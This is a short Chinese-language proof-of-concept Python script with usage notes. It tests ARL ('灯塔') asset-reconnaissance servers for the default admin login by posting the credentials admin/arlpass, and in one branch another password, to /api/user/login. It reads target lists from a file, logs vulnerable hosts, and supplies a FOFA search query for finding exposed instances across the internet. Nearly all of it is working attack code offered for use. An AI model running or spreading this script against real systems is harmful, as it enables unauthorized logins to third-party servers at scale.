资产灯塔弱口令poc

import requests
import sys
import argparse
import urllib3
import re
urllib3.disable_warnings()

def banner():
    print('+---------------------------------------------------+')
    print('+ \033[1;36m灯塔弱口令     \033[0m          +')
    print('+ \033[1;36m作者：r00t\033[0m                                        +')
    print('+ \033[1;36mpython3 xxx.py -u/--url http://xxx.xxx.xxx.xxx\033[0m    +')
    print('+ \033[1;36mpython3 xxx.py -f/--file result.txt\033[0m               +')
    print('+ \033[1;36mfofa 语句：body="旨在快速侦察与目标关联的互联网资产，构建基础资产信息库。"  \033[0m       +')
    print('+---------------------------------------------------+')
if len(sys.argv)==1:
    banner()
    sys.exit()
parser = argparse.ArgumentParser(description='api help')
parser.add_argument('-u','--url', help='Please Input a url!',default='')
parser.add_argument('-f','--file', help='Please Input a file!',default='')
args=parser.parse_args()
url=args.url
file=args.file
if url!="":
    url=url+"/api/user/login"
    header={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "Content-Type":"application/json; charset=UTF-8"
            }
    data = '{"username":"admin","password":"jz1014944679"}'
    # proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
    response=requests.post(url,data=data,headers=header,verify=False,timeout=10)
    print(response.text)
    if ": 200" in response.text and response.status_code == 200:
        print("\033[1;36m" + url + "\033[0m" + "\033[1;32m 存在漏洞\033[0m")
    else:
        print("\033[1;36m"+url+"\033[0m"+"\033[1;31m 不存在漏洞\033[0m")
if file!="":
    txt=file
    f=open(txt,'r+')
    for i in f.readlines():
        url=i.strip()
        url=url+"/api/user/login"
        header={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
        "Content-Type":"application/json; charset=UTF-8"
                }
        data = '{"username":"admin","password":"arlpass"}'
        try:
            response=requests.post(url,data=data,headers=header,verify=False,timeout=10)
            if ": 200" in response.text and response.status_code == 200:
                print("\033[1;36m" + url + "\033[0m" + "\033[1;32m 存在漏洞\033[0m")
                w = open("10.txt", "a")
                w.write(url + '\r\n')
            else:
                print("\033[1;36m"+url+"\033[0m"+"\033[1;31m 不存在漏洞\033[0m")
        except Exception as e:
            print("\033[1;36m"+url+"\033[0m"+"\033[1;31m 不存在漏洞\033[0m",format(e))

fofa语法：

body="旨在快速侦察与目标关联的互联网资产，构建基础资产信息库。"

账号密码为：admin/arlpass